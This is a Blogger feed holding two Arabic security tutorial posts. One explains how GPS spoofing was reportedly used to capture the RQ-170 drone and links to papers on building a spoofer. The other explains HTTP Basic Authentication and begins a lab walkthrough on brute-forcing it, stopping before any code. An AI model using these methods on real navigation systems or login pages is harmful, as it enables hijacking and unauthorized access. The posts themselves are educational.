tag:blogger.com,1999:blog-1964545051711299822024-03-12T18:16:06.193-07:00Ahmed SherifCoding is an art Anonymoushttp://www.blogger.com/profile/12539100610108911202noreply@blogger.comBlogger12125tag:blogger.com,1999:blog-196454505171129982.post-71207931399961563672014-02-13T09:45:00.002-08:002014-02-13T09:45:11.515-08:00مقال : كيف تم اختراق الطائره الامريكية من قبل المخابرات الايرانيه<div dir="rtl" style="text-align: right;" trbidi="on">
احب ان اشارككم مقالي بموقع iSecur1ty<br />
<br />
<div style="color: #666666; font-family: tahoma, sans-serif, arial; font-size: 13.63636302947998px; line-height: 20px; margin-bottom: 15px;">
السلام عليكم ورحمة الله وبركاته</div>
<div style="color: #666666; font-family: tahoma, sans-serif, arial; font-size: 13.63636302947998px; line-height: 20px; margin-bottom: 15px;">
اخواني واخواتي اعضاء وزوار iSecur1ty . اليوم ساتحدث عن حادثه قد وقعت منذ 3 سنوات ولكنها مازالت الاشهر والاكثر اهتماما في مجال الحرب الالكترونيه التي تقام بين ايران والولايات المتحده الامريكيه بعد stuxnet . لقد قرأت منذ فترة عن اختراق طائرة امريكيه اخترقت المجال الجوي الايراني وقد كان امر مثيرُ للدهشه حين تقوم ايران بالايقاع بطائره امريكيه فهذا يعني انه لاشئ مستحيل وان الولايات المتحده الامريكيه ليس لديها التقنيات المعقده والصعب اختراقها كما نعتقد</div>
<div style="color: #666666; font-family: tahoma, sans-serif, arial; font-size: 13.63636302947998px; line-height: 20px; margin-bottom: 15px;">
بداية اود ان اعرفكم علي الطائره الامريكيه التي تم اختراقها :</div>
<h3 style="border: 0px; color: #333333; font-family: tahoma, sans-serif, arial; font-size: 14pt; font-weight: normal; line-height: 1.2em; margin: 0px 0px 15px; padding: 0px;">
<span style="color: red;"><strong>التعريف بالطائره الامريكيه RQ-170 Sentinel. </strong></span></h3>
<div class="wp-caption aligncenter" style="background-color: white; border: 1px solid rgb(235, 235, 235); clear: both; color: #666666; float: none; font-family: tahoma, sans-serif, arial; font-size: 13.63636302947998px; line-height: 20px; margin: 0px auto 10px; padding-top: 5px; text-align: center; width: 610px;">
<img alt="" height="400" src="http://upload.wikimedia.org/wikipedia/commons/5/54/RQ-170_Wiki_contributor_3Dartist.png" style="border: 0px none; height: auto; margin: 0px; max-width: 97%; padding: 0px;" width="600" /><div class="wp-caption-text" style="font-size: 8pt; padding: 5px;">
الطائره الامريكيه RQ-170</div>
</div>
<div style="color: #666666; font-family: tahoma, sans-serif, arial; font-size: 13.63636302947998px; line-height: 20px; margin-bottom: 15px;">
هي طائره بدون طيار تتميز بقوة التحمل والسفر لمسافات بعيده تم تصميمها من قبًل <a href="http://www.lockheedmartin.com/" style="color: #d2171e; outline: none; text-decoration: none;">Lockheed Martin </a>وهي منظمه تعمل لصالح جهات حكوميه بالولايات المتحده وقد بلغت نسبة مبيعاتها للعام 2012 47 بليون دولار امريكي . وقد تم تصميم هذه الطائره لصالح القوات الجويه الامريكيه USAV . في خلال السبعينات بدأت شركة Lockheed Martin الامريكية مشروع HaveBlue الذي يهدف الي صناعه طائره شبح يصعب تتبعها من اجهزة الرادار ونحجت فعلا هذه الشركة في انتاج اول طائره شبحيه وتدعي F-117 Nighthawk وقد خرجت هذه الطائره من الخدمه عام 2008 .</div>
<div style="color: #666666; font-family: tahoma, sans-serif, arial; font-size: 13.63636302947998px; line-height: 20px; margin-bottom: 15px;">
ان هذه الطائره الامريكيه تستطيع تصوير الاماكن الحساسه الخاصه بالحرب مثلا ويتم ارسالها الي قاعده تحكم مركزية من خلال اشارات كهرومغناطيسيه بعيدة المدي <a href="http://en.wikipedia.org/wiki/Line-of-sight_propagation" style="color: #d2171e; outline: none; text-decoration: none;">LOS</a> . هذه الطائره تم استخدامها من قبل في عمليات بافغانستان وباكستان اثناء العمليات العسكريه ضد “اسامه بن لادن” .</div>
<div style="color: #666666; font-family: tahoma, sans-serif, arial; font-size: 13.63636302947998px; line-height: 20px; margin-bottom: 15px;">
تستطيع هذه الطائره التحليق علي ارتفاع 50.000 قدم ويمكن التحكم بها من خلال قاعده مركزيه حيث يمكنها تزويد المتحكم بالمعلومات الحيًه التي تقع تحت الطائره مباشرة .</div>
<h3 style="border: 0px; color: #333333; font-family: tahoma, sans-serif, arial; font-size: 14pt; font-weight: normal; line-height: 1.2em; margin: 0px 0px 15px; padding: 0px;">
<span style="color: red;">مميزات الطائره RQ-170 </span></h3>
<div style="color: #666666; font-family: tahoma, sans-serif, arial; font-size: 13.63636302947998px; line-height: 20px; margin-bottom: 15px;">
<strong>1 – نظام الملاحه و تحديد الاماكن :</strong></div>
<div style="color: #666666; font-family: tahoma, sans-serif, arial; font-size: 13.63636302947998px; line-height: 20px; margin-bottom: 15px;">
تتميز هذه الطائره بان لها وضعين الاول هو التحكم بها عن بعد من خلال قاعده ارضيه مركزية Ground command Station و تمًكن المتحكم من ارسال الاوامر لها وتنفيذها علي الوضع الحالي .</div>
<div style="color: #666666; font-family: tahoma, sans-serif, arial; font-size: 13.63636302947998px; line-height: 20px; margin-bottom: 15px;">
<br /></div>
<div class="wp-caption aligncenter" style="background-color: white; border: 1px solid rgb(235, 235, 235); clear: both; color: #666666; float: none; font-family: tahoma, sans-serif, arial; font-size: 13.63636302947998px; line-height: 20px; margin: 0px auto 10px; padding-top: 5px; text-align: center; width: 498px;">
<img alt="" height="367" src="http://www.unmannedsystemstechnology.com/wp-content/uploads/2013/03/UAV-Ground-Control-Station.jpg" style="border: 0px none; height: auto; margin: 0px; max-width: 97%; padding: 0px;" width="488" /><div class="wp-caption-text" style="font-size: 8pt; padding: 5px;">
قاعدة تحكم ارضيه</div>
</div>
<div style="color: #666666; font-family: tahoma, sans-serif, arial; font-size: 13.63636302947998px; line-height: 20px; margin-bottom: 15px;">
ثانيا : الوضع التاني وهو ALR – Automatic Launch and recovery حيث الوضع التلقائي للطائره فتمكن الطائره من تحديد احداثياتها علي الخريطه ومن ثم الانتقال ونتفيذ خطه ما بطريقة تلقائيه ثم تعود الي المكان المحدد لها الهبوط فيه ويعمل هذا الوضع في حال قطع الاتصال بقاعدة التحكم الارضيه .</div>
<div style="color: #666666; font-family: tahoma, sans-serif, arial; font-size: 13.63636302947998px; line-height: 20px; margin-bottom: 15px;">
تتميز ايضا هذه الطائره بان لها تقنية عاليه في التخفي حيث يمكنها التوغل في اراضي الخصم دون الكشف عنها من قبل الرادارات عالية التردد UHF فلا يمكنها رصد الطائره عن بعد اقل من 40 كيلو متر . تستخدم ايضا هذه الطائره في عمليات التشويش والتنصت علي الاتصالات اللاسلكيه علي نطاقات واسعه</div>
<div style="color: #666666; font-family: tahoma, sans-serif, arial; font-size: 13.63636302947998px; line-height: 20px; margin-bottom: 15px;">
<span style="color: red;"><strong>ماذا تفعل ان كنت مهندس بالجيش الايراني وسُندت اليك تلك المهمه ؟ </strong></span></div>
<div style="color: #666666; font-family: tahoma, sans-serif, arial; font-size: 13.63636302947998px; line-height: 20px; margin-bottom: 15px;">
فكر معي قليلا ان كنت مهندسا بالجيش الايراني وطُلب منك الايقاع بتلك الطائره الامريكيه فماذا كنت تفعل ؟</div>
<div style="color: #666666; font-family: tahoma, sans-serif, arial; font-size: 13.63636302947998px; line-height: 20px; margin-bottom: 15px;">
ربما سيجيب البعض بانه يجب علينا اعتراض الاتصال بين الطائره وقاعدة التحكم المركزية ومحاولة التصنت علي الاوامر والمعلومات بين الطائره والقاعده ولكن الامر في غاية الصعوبه فبكل تأكيد الاتصال بين الطائره والقاعده مُشفر واّمن تماما ويصعب اختراقه بالاضافه الي معرفة قناة الاتصال بين الطائره والقاعده فالامر سيستهلك الكثير من الوقت لمحاولة اعتراض الاتصال .</div>
<div style="color: #666666; font-family: tahoma, sans-serif, arial; font-size: 13.63636302947998px; line-height: 20px; margin-bottom: 15px;">
<br /></div>
<div style="color: #666666; font-family: tahoma, sans-serif, arial; font-size: 13.63636302947998px; line-height: 20px; margin-bottom: 15px;">
<span style="color: red;"><strong>ماذا فعلت ايران لكي تخترق الطائره الامريكيه ؟</strong></span></div>
<div style="color: #666666; font-family: tahoma, sans-serif, arial; font-size: 13.63636302947998px; line-height: 20px; margin-bottom: 15px;">
ان لاحظت معي في اول المقال فقد ذكرت ان من مميزات الطائره هو الوضع التلقائي والذي يعمل عند قطع الاتصال بين الطائره والمحطه الارضيه اذن فان عملية قطع الاتصال ليست بالصعبه ولكن ماذا يحدث بعد قطع الاتصال وتشغيل الوضع التلقائي ؟ . يقول المهندسون ان الطائره تقوم بتحديد احداثياتها من خلال GPS ومن ثم تقوم بالهبوط في المكان المحدد لها الهبوط فيه مسبقا عند قطع الاتصال . ما فعلته ايران هو محاولة مخادعه نظام الملاحه الخاص بالطائره GPS spoofing . فان الطائره مبرمجه علي انها تهبط مثلا في احداثيات x,y ولتكن 5,6 فان عملية مخادعة نظام الملاحه الخاص بالطائره يقوم باقناعها بان 5,6 مثلا يقعوا في احداثيات 7,8 وبالتالي تهبط الطائره في المكان الذي احداثياته 7,8 <img alt=":)" class="wp-smiley" src="http://www.isecur1ty.org/wp-includes/images/smilies/icon_smile.gif" style="background-color: white; background-position: initial initial; background-repeat: initial initial; border: 1px solid rgb(235, 235, 235); height: auto; max-width: 97%; padding: 3px;" /></div>
<div style="color: #666666; font-family: tahoma, sans-serif, arial; font-size: 13.63636302947998px; line-height: 20px; margin-bottom: 15px;">
<br /></div>
<div style="color: #666666; font-family: tahoma, sans-serif, arial; font-size: 13.63636302947998px; line-height: 20px; margin-bottom: 15px;">
<span style="color: red;"><strong>كيف يعمل هجوم GPS Spoofing ؟ </strong></span></div>
<div style="color: #666666; font-family: tahoma, sans-serif, arial; font-size: 13.63636302947998px; line-height: 20px; margin-bottom: 15px;">
مبدئيا فإن موجات نظام الملاحه المستخدمه هي نفسها المستخدمه في حياتنا اليوميه في اجهزة المحمول واجهزة التتبع حيث انها تحدد الاحداثيات من خلال الاقمار الصناعيه . ان هذا الهجوم يكمن في ارسال اشارات مزيفه وزيادة القدره الخاصه بها حتي تكون اعلي من الاشارات المرسله من الاقمار الصناعيه .</div>
<div style="color: #666666; font-family: tahoma, sans-serif, arial; font-size: 13.63636302947998px; line-height: 20px; margin-bottom: 15px;">
مثال :</div>
<div style="color: #666666; font-family: tahoma, sans-serif, arial; font-size: 13.63636302947998px; line-height: 20px; margin-bottom: 15px;">
ان الصوره الموضحه ادناه توضح اشاره عاديه للـ GPS حيث يتم تحديدها من خلال اعلي القمه Peak . والنقاط الحمراء هي التي تحدد وسط الاشاره</div>
<div style="color: #666666; font-family: tahoma, sans-serif, arial; font-size: 13.63636302947998px; line-height: 20px; margin-bottom: 15px;">
<br /></div>
<div class="wp-caption aligncenter" id="attachment_5142" style="background-color: white; border: 1px solid rgb(235, 235, 235); clear: both; color: #666666; float: none; font-family: tahoma, sans-serif, arial; font-size: 13.63636302947998px; line-height: 20px; margin: 0px auto 10px; padding-top: 5px; text-align: center; width: 310px;">
<a href="http://www.isecur1ty.org/wp-content/uploads/2014/01/Screenshot-from-2014-01-16-175510.png" style="color: #d2171e; outline: none; text-decoration: none;"><img alt="صورة لاشارة GPS عاديه " class="size-medium wp-image-5142" height="159" src="http://www.isecur1ty.org/wp-content/uploads/2014/01/Screenshot-from-2014-01-16-175510-300x159.png" style="border: 0px none; height: auto; margin: 0px; max-width: 97%; padding: 0px;" width="300" /></a><div class="wp-caption-text" style="font-size: 8pt; padding: 5px;">
صورة لاشارة GPS عاديه</div>
</div>
<div style="color: #666666; font-family: tahoma, sans-serif, arial; font-size: 13.63636302947998px; line-height: 20px; margin-bottom: 15px;">
عند ارسال اشارة مزيفه فان اشارة اخري قد تظهر علي الساحه ويتم زيادة القدره لهذه الاشاره حتي تصبح اعلي من الاشاره الاصليه وبالتالي يظهر لنظام الملاحه الاشاره الاعلي قمه Peak . وبالتالي ستكون الاشاره المزيفه هي الاعلي قمه وسيتم تحديد مكان خاطئ .</div>
<div class="wp-caption aligncenter" id="attachment_5143" style="background-color: white; border: 1px solid rgb(235, 235, 235); clear: both; color: #666666; float: none; font-family: tahoma, sans-serif, arial; font-size: 13.63636302947998px; line-height: 20px; margin: 0px auto 10px; padding-top: 5px; text-align: center; width: 310px;">
<a href="http://www.isecur1ty.org/wp-content/uploads/2014/01/Screenshot-from-2014-01-16-175540.png" style="color: #d2171e; outline: none; text-decoration: none;"><img alt="الاشاره المزيفه " class="size-medium wp-image-5143" height="162" src="http://www.isecur1ty.org/wp-content/uploads/2014/01/Screenshot-from-2014-01-16-175540-300x162.png" style="border: 0px none; height: auto; margin: 0px; max-width: 97%; padding: 0px;" width="300" /></a><div class="wp-caption-text" style="font-size: 8pt; padding: 5px;">
الاشاره المزيفه</div>
</div>
<div style="color: #666666; font-family: tahoma, sans-serif, arial; font-size: 13.63636302947998px; line-height: 20px; margin-bottom: 15px;">
<span style="color: red;"><strong>كيف يتم عمل جهاز GPS spoofing عمليا ؟</strong></span></div>
<div style="color: #666666; font-family: tahoma, sans-serif, arial; font-size: 13.63636302947998px; line-height: 20px; margin-bottom: 15px;">
حتي الان لم اقم بهذه التجربه للاسف لانشغالي بالامتحانات في هذه الفتره ولكني سأحاول في الفتره القادمه شراء بعض المعدات ومحاولة تصميم هذا الجهاز من أجل ايضاح اكثر . لقد وجدت مجموعه من التجارب التي تمت في الولايات المتحده الامريكيه من قبل بعض الباحثين في جامعة اوكلاهوما وغيرها</div>
<div style="color: #666666; font-family: tahoma, sans-serif, arial; font-size: 13.63636302947998px; line-height: 20px; margin-bottom: 15px;">
واحببت ان اشاراككم بعض هذه الابحاث لعل يريد احدكم صنع هذا الجهاز ومحاولة تجربته .</div>
<div style="color: #666666; font-family: tahoma, sans-serif, arial; font-size: 13.63636302947998px; line-height: 20px; margin-bottom: 15px;">
بحث خاص بعنوان<a href="http://www.syssec.ethz.ch/research/ccs139-tippenhauer.pdf" style="color: #d2171e; outline: none; text-decoration: none;"> “المتطلبات لعمل اشارات ملاحه مزيفه بنجاح “ </a></div>
<div style="color: #666666; font-family: tahoma, sans-serif, arial; font-size: 13.63636302947998px; line-height: 20px; margin-bottom: 15px;">
بحث بعنوان<a href="http://www.ne.anl.gov/capabilities/vat/pdfs/GPS-Spoofing-(2002-2003).pdf" style="color: #d2171e; outline: none; text-decoration: none;"> “ايضاح بسيط لاثبات ضعف امني بنظام الملاحه GPS”</a> حيث يعرض الباحثين كيف تم تزييف اشارة GPS لسياره</div>
<div style="color: #666666; font-family: tahoma, sans-serif, arial; font-size: 13.63636302947998px; line-height: 20px; margin-bottom: 15px;">
<a href="http://www.blockyourid.com/~gbpprorg/mil/gps4/Wen_Spoof.pdf" style="color: #d2171e; outline: none; text-decoration: none;">البحث الخاص بجامعة اوكلاهوها </a></div>
<br />
<div style="clear: both; color: #666666; font-family: tahoma, sans-serif, arial; font-size: 13.63636302947998px; line-height: 20px;">
</div>
<br />
<div style="-webkit-text-stroke-width: 0px; color: #666666; font-family: tahoma, sans-serif, arial; font-size: 13.63636302947998px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 20px; margin-bottom: 15px; margin-top: 0px; orphans: auto; text-align: right; text-indent: 0px; text-transform: none; white-space: normal; widows: auto; word-spacing: 0px;">
اتمني ان اكون قد اضحت الفكرة بشكل جيد .</div>
</div>
Anonymoushttp://www.blogger.com/profile/12539100610108911202noreply@blogger.com0tag:blogger.com,1999:blog-196454505171129982.post-62799134243195916582014-02-13T09:44:00.002-08:002014-02-13T09:44:10.859-08:00مقال : HTTP basic authentication وكيفية تخطيها<div dir="rtl" style="text-align: right;" trbidi="on">
<div style="color: #666666; font-family: tahoma, sans-serif, arial; font-size: 13.63636302947998px; line-height: 20px; margin-bottom: 15px;">
السلام عليكم ورحمة الله و بركاته</div>
<div style="color: #666666; font-family: tahoma, sans-serif, arial; font-size: 13.63636302947998px; line-height: 20px; margin-bottom: 15px;">
اخواني واخواتي اعضاء وزوار موقع isecur1ty . ساتحدث اليوم عن كيفية عمل Brute force attack علي موقع يحتوي HTTP Basic authentication لعملية الدخول . ساشرح اولا ماهي هذه العملية وكيف تستخدم ومن ثم ساتطرق لكود بايثون ساقوم بكتابته لعمل Brute force attack علي صفحة دخول سنقوم بتنفيذها ايضا ومن ثم سنتطرق الي احد التحديات الخاصه بـ securitytube ومتعلقه بهذه الجزئيه وسوف اعرض لكم كيف قمت بحل هذا التحدي .</div>
<div style="color: #666666; font-family: tahoma, sans-serif, arial; font-size: 13.63636302947998px; line-height: 20px; margin-bottom: 15px;">
<br /></div>
<div style="color: #666666; font-family: tahoma, sans-serif, arial; font-size: 13.63636302947998px; line-height: 20px; margin-bottom: 15px;">
<span style="color: red;"><strong>أولا : HTTP Basic Authentication </strong></span></div>
<div style="color: #666666; font-family: tahoma, sans-serif, arial; font-size: 13.63636302947998px; line-height: 20px; margin-bottom: 15px;">
هي طريقة بسيطه وسهله لحماية صفحة ما علي الانترنت من الاختراق او الدخول اليها مباشرة . فنجد ان معظم مديري المنتديات ومدونات الفيس بوك قد يلجأو الي هذه الطريقه لحماية صفحة الدخول ايضا . ربما نجدها ايضا في بعض الشلات الموجوده حاليا علي الانترنت . تعتمد هذه الطريقه علي HTTP headers لعمل authentication لليوزر .</div>
<div style="color: #666666; font-family: tahoma, sans-serif, arial; font-size: 13.63636302947998px; line-height: 20px; margin-bottom: 15px;">
يوجد اكثر من نوع لـ HTTP authentication مثل :</div>
<div style="color: #666666; font-family: tahoma, sans-serif, arial; font-size: 13.63636302947998px; line-height: 20px; margin-bottom: 15px;">
- Basic Authentication</div>
<div style="color: #666666; font-family: tahoma, sans-serif, arial; font-size: 13.63636302947998px; line-height: 20px; margin-bottom: 15px;">
- Digest Authentication</div>
<div style="color: #666666; font-family: tahoma, sans-serif, arial; font-size: 13.63636302947998px; line-height: 20px; margin-bottom: 15px;">
ما نتحدث عنه في هذا المقال هو Basic authentication .</div>
<div style="color: #666666; font-family: tahoma, sans-serif, arial; font-size: 13.63636302947998px; line-height: 20px; margin-bottom: 15px;">
<br /></div>
<div style="color: #666666; font-family: tahoma, sans-serif, arial; font-size: 13.63636302947998px; line-height: 20px; margin-bottom: 15px;">
<span style="color: red;"><strong>ثانيا : كتابة كود PHP بسيط لهذه العمليه </strong></span></div>
<div style="color: #666666; font-family: tahoma, sans-serif, arial; font-size: 13.63636302947998px; line-height: 20px; margin-bottom: 15px;">
ساقوم بكتابه كود php بسيط لتوضيح كيف تتم العملية</div>
<div class="wp-caption aligncenter" id="attachment_5223" style="background-color: white; border: 1px solid rgb(235, 235, 235); clear: both; color: #666666; float: none; font-family: tahoma, sans-serif, arial; font-size: 13.63636302947998px; line-height: 20px; margin: 0px auto 10px; padding-top: 5px; text-align: center; width: 310px;">
<a href="http://www.isecur1ty.org/wp-content/uploads/2014/01/Screenshot-from-2014-01-29-123850.png" style="color: #d2171e; outline: none; text-decoration: none;"><img alt="Screenshot from 2014-01-29 12:38:50" class="size-medium wp-image-5223" height="141" src="http://www.isecur1ty.org/wp-content/uploads/2014/01/Screenshot-from-2014-01-29-123850-300x141.png" style="border: 0px none; height: auto; margin: 0px; max-width: 97%; padding: 0px;" width="300" /></a><div class="wp-caption-text" style="font-size: 8pt; padding: 5px;">
HTTP Basic Authentication</div>
</div>
<div style="color: #666666; font-family: tahoma, sans-serif, arial; font-size: 13.63636302947998px; line-height: 20px; margin-bottom: 15px;">
في هذا الكود ما قمت به هو مجرد التاكد ما اذا كان اليوزر قد قام بادخال الاسم وكلمة المرور وفي حالة الضغط علي cancel ستظهر له رسالة unauthorized person . يتم ارسال ايضا Basic realm وهو الذي يظهر في الرساله عندما يتم الدخول الي الصفحه كما ستشاهدون في الصوره التاليه</div>
<div class="wp-caption aligncenter" id="attachment_5224" style="background-color: white; border: 1px solid rgb(235, 235, 235); clear: both; color: #666666; float: none; font-family: tahoma, sans-serif, arial; font-size: 13.63636302947998px; line-height: 20px; margin: 0px auto 10px; padding-top: 5px; text-align: center; width: 310px;">
<a href="http://www.isecur1ty.org/wp-content/uploads/2014/01/Screenshot-from-2014-01-29-124453.png" style="color: #d2171e; outline: none; text-decoration: none;"><img alt="صورة للرساله التي تظهر " class="size-medium wp-image-5224" height="121" src="http://www.isecur1ty.org/wp-content/uploads/2014/01/Screenshot-from-2014-01-29-124453-300x121.png" style="border: 0px none; height: auto; margin: 0px; max-width: 97%; padding: 0px;" width="300" /></a><div class="wp-caption-text" style="font-size: 8pt; padding: 5px;">
صورة للرساله التي تظهر</div>
</div>
<div style="color: #666666; font-family: tahoma, sans-serif, arial; font-size: 13.63636302947998px; line-height: 20px; margin-bottom: 15px;">
. كما تلاحظون في هذه الصوره عند الدخول الي الصفحه التي قمت ببرمجتها مسبقا تظهر هذه النافذه وتطلب اسم الدخول وكلمة المرور . في الكود السابق لم اقم بتعيين كلمة مرور واسم للصفحه وانما مجرد طباعة اسم المستخدم وكلمة المرور التي يتم ادخالهم في النافذه التي تظهر .</div>
<div class="wp-caption aligncenter" id="attachment_5225" style="background-color: white; border: 1px solid rgb(235, 235, 235); clear: both; color: #666666; float: none; font-family: tahoma, sans-serif, arial; font-size: 13.63636302947998px; line-height: 20px; margin: 0px auto 10px; padding-top: 5px; text-align: center; width: 310px;">
<a href="http://www.isecur1ty.org/wp-content/uploads/2014/01/Screenshot-from-2014-01-29-124706.png" style="color: #d2171e; outline: none; text-decoration: none;"><img alt="رسالة الصفحه" class="size-medium wp-image-5225" height="93" src="http://www.isecur1ty.org/wp-content/uploads/2014/01/Screenshot-from-2014-01-29-124706-300x93.png" style="border: 0px none; height: auto; margin: 0px; max-width: 97%; padding: 0px;" width="300" /></a><div class="wp-caption-text" style="font-size: 8pt; padding: 5px;">
رسالة الصفحه</div>
</div>
<div style="color: #666666; font-family: tahoma, sans-serif, arial; font-size: 13.63636302947998px; line-height: 20px; margin-bottom: 15px; text-align: left;">
عند ادخال اسم الدخول وكلمة المرور يتم فتح صفحه تقوم بالترحيب بالمستخدم ايا كان من هو وانما مجرد هي تاخد المتغيرات من$_SERVER['HTTP_AUTH_USER'] و $_SERVER['HTTP_AUTH_PW']</div>
<div style="color: #666666; font-family: tahoma, sans-serif, arial; font-size: 13.63636302947998px; line-height: 20px; margin-bottom: 15px;">
<a href="http://www.isecur1ty.org/wp-content/uploads/2014/01/Screenshot-from-2014-01-29-124911.png" style="color: #d2171e; outline: none; text-decoration: none;"><img alt="Screenshot from 2014-01-29 12:49:11" class="aligncenter size-medium wp-image-5226" height="88" src="http://www.isecur1ty.org/wp-content/uploads/2014/01/Screenshot-from-2014-01-29-124911-300x88.png" style="background-color: white; background-position: initial initial; background-repeat: initial initial; border: 1px solid rgb(235, 235, 235); clear: both; display: block; float: none; height: auto; margin: 0px auto 15px; max-width: 97%; padding: 3px;" width="300" /></a>اذن الامر الان اصبح نسبة ما سهل وبسيط ويمكننا تعديل هذا الكود بحيث يقبل مجموعه من المستخدمين وكلمات المرور وعند كتابة كلمة المرور او اسم المستخدم بطريقة خاطئه تظهر له صفحة unauthorized .</div>
<div style="color: #666666; font-family: tahoma, sans-serif, arial; font-size: 13.63636302947998px; line-height: 20px; margin-bottom: 15px;">
ايضا عند تشغيل اداة Live HTTP headers علي الصفحة نجد التالي :</div>
<div class="wp-caption aligncenter" id="attachment_5227" style="background-color: white; border: 1px solid rgb(235, 235, 235); clear: both; color: #666666; float: none; font-family: tahoma, sans-serif, arial; font-size: 13.63636302947998px; line-height: 20px; margin: 0px auto 10px; padding-top: 5px; text-align: center; width: 310px;">
<a href="http://www.isecur1ty.org/wp-content/uploads/2014/01/Screenshot-from-2014-01-29-125334.png" style="color: #d2171e; outline: none; text-decoration: none;"><img alt="Live Http Headers" class="size-medium wp-image-5227" height="129" src="http://www.isecur1ty.org/wp-content/uploads/2014/01/Screenshot-from-2014-01-29-125334-300x129.png" style="border: 0px none; height: auto; margin: 0px; max-width: 97%; padding: 0px;" width="300" /></a><div class="wp-caption-text" style="font-size: 8pt; padding: 5px;">
Live Http Headers</div>
</div>
<div style="color: #666666; font-family: tahoma, sans-serif, arial; font-size: 13.63636302947998px; line-height: 20px; margin-bottom: 15px;">
يوجد في جزئية Authorization تشفيرة Base64 يتم تسجيلها في Headers . عند فك هذه التشفيره نجد انها عباره عن “admin:ahmed” اي ان اسم الدخول وكلمة المرور يتم تخزينهم بهذه الصوره .</div>
<div style="color: #666666; font-family: tahoma, sans-serif, arial; font-size: 13.63636302947998px; line-height: 20px; margin-bottom: 15px;">
<span style="color: red;"><strong style="font-size: 13px; line-height: 1.5em;">ثالثا : كيفية عمل Brute Force Attack علي هذه النوعيه </strong></span></div>
<div style="color: #666666; font-family: tahoma, sans-serif, arial; font-size: 13.63636302947998px; line-height: 20px; margin-bottom: 15px;">
ساتطرق الي احد التحديات المقدمه من موقع securitytube ومن خلال حلها سوف تكون قادر علي فهم هذه النوعيه والهجوم عليها</div>
<div style="color: #666666; font-family: tahoma, sans-serif, arial; font-size: 13.63636302947998px; line-height: 20px; margin-bottom: 15px;">
<strong>رابط التحدي : <a href="http://pentesteracademylab.appspot.com/lab/webapp/basicauth" style="color: #d2171e; outline: none; text-decoration: none;">http://pentesteracademylab.appspot.com/lab/webapp/basicauth</a></strong></div>
<div style="color: #666666; font-family: tahoma, sans-serif, arial; font-size: 13.63636302947998px; line-height: 20px; margin-bottom: 15px;">
<strong>المطلوب في التحدي : </strong>تخطي صفحة الدخول Basic authentication .</div>
<div style="color: #666666; font-family: tahoma, sans-serif, arial; font-size: 13.63636302947998px; line-height: 20px; margin-bottom: 15px;">
<strong>بعض التلميحات : </strong></div>
<div style="color: #666666; font-family: tahoma, sans-serif, arial; font-size: 13.63636302947998px; line-height: 20px; margin-bottom: 15px;">
- اسم المستخدم nick , admin</div>
<div style="color: #666666; font-family: tahoma, sans-serif, arial; font-size: 13.63636302947998px; line-height: 20px; margin-bottom: 15px;">
- كلمة المرور تتكون من ثلاثة احرف a,s,d وطولها 5 احرف .</div>
<div style="color: #666666; font-family: tahoma, sans-serif, arial; font-size: 13.63636302947998px; line-height: 20px; margin-bottom: 15px;">
<br /></div>
<h2 style="color: #333333; font-family: tahoma, sans-serif, arial; font-size: 16pt; font-weight: normal; line-height: 1.2em; margin: 0px 0px 15px; padding: 0px;">
<span style="color: #339966;"><strong>طريقة الحل : </strong></span></h2>
<div style="color: #666666; font-family: tahoma, sans-serif, arial; font-size: 13.63636302947998px; line-height: 20px; margin-bottom: 15px;">
عند الدخول الي صفحة التحدي نجد الصفحة التاليه :</div>
<div style="color: #666666; font-family: tahoma, sans-serif, arial; font-size: 13.63636302947998px; line-height: 20px; margin-bottom: 15px;">
<a href="http://www.isecur1ty.org/wp-content/uploads/2014/01/Screenshot-from-2014-01-29-131617.png" style="color: #d2171e; outline: none; text-decoration: none;"><img alt="Screenshot from 2014-01-29 13:16:17" class="aligncenter size-medium wp-image-5229" height="135" src="http://www.isecur1ty.org/wp-content/uploads/2014/01/Screenshot-from-2014-01-29-131617-300x135.png" style="background-color: white; background-position: initial initial; background-repeat: initial initial; border: 1px solid rgb(235, 235, 235); clear: both; display: block; float: none; height: auto; margin: 0px auto 15px; max-width: 97%; padding: 3px;" width="300" /></a></div>
<div style="color: #666666; font-family: tahoma, sans-serif, arial; font-size: 13.63636302947998px; line-height: 20px; margin-bottom: 15px;">
<br /></div>
<div style="color: #666666; font-family: tahoma, sans-serif, arial; font-size: 13.63636302947998px; line-height: 20px; margin-bottom: 15px;">
وعند الضغط علي زر Enter Pentester Academy . نجد النافذه التاليه تظهر امامنا وتطلب اسم الدخول وكلمة المرور</div>
<div style="color: #666666; font-family: tahoma, sans-serif, arial; font-size: 13.63636302947998px; line-height: 20px; margin-bottom: 15px;">
<a href="http://www.isecur1ty.org/wp-content/uploads/2014/01/Screenshot-from-2014-01-29-131744.png" style="color: #d2171e; outline: none; text-decoration: none;"><img alt="Screenshot from 2014-01-29 13:17:44" class="aligncenter size-medium wp-image-5230" height="139" src="http://www.isecur1ty.org/wp-content/uploads/2014/01/Screenshot-from-2014-01-29-131744-300x139.png" style="background-color: white; background-position: initial initial; background-repeat: initial initial; border: 1px solid rgb(235, 235, 235); clear: both; display: block; float: none; height: auto; margin: 0px auto 15px; max-width: 97%; padding: 3px;" width="300" /></a></div>
<div style="color: #666666; font-family: tahoma, sans-serif, arial; font-size: 13.63636302947998px; line-height: 20px; margin-bottom: 15px;">
<br /></div>
<div style="color: #666666; font-family: tahoma, sans-serif, arial; font-size: 13.63636302947998px; line-height: 20px; margin-bottom: 15px;">
اذن كيف نقوم بالتخمين علي هذه النافذه ؟</div>
<div style="color: #666666; font-family: tahoma, sans-serif, arial; font-size: 13.63636302947998px; line-height: 20px; margin-bottom: 15px;">
لمن لم يتابع كيفية حل التحدي الاول الذي قمت به يمكنه متابعته من <a href="http://www.isecur1ty.org/%D9%85%D9%82%D8%A7%D9%84-%D9%83%D9%8A%D9%81-%D9%82%D9%85%D8%AA-%D8%A8%D8%AD%D9%84-%D8%A7%D9%84%D8%AA%D8%AD%D8%AF%D9%8A-%D8%A7%D9%84%D8%A7%D9%88%D9%84-%D9%84%D9%80-securitytube/" style="color: #d2171e; outline: none; text-decoration: none;" target="_blank">هذا الرابط </a></div>
<div style="color: #666666; font-family: tahoma, sans-serif, arial; font-size: 13.63636302947998px; line-height: 20px; margin-bottom: 15px;">
تعلمنا في درس التحدي الاول كيف يمكننا عمل Brute force attack علي web form وكيف استطعنا استغلال التلميحات الموجوده بالتحدي من اجل انشاء قائمة الباسوردات المحتمله . نفس الشئ ساقوم به في هذا التحدي</div>
<div style="color: #666666; font-family: tahoma, sans-serif, arial; font-size: 13.63636302947998px; line-height: 20px; margin-bottom: 15px;">
<br /></div>
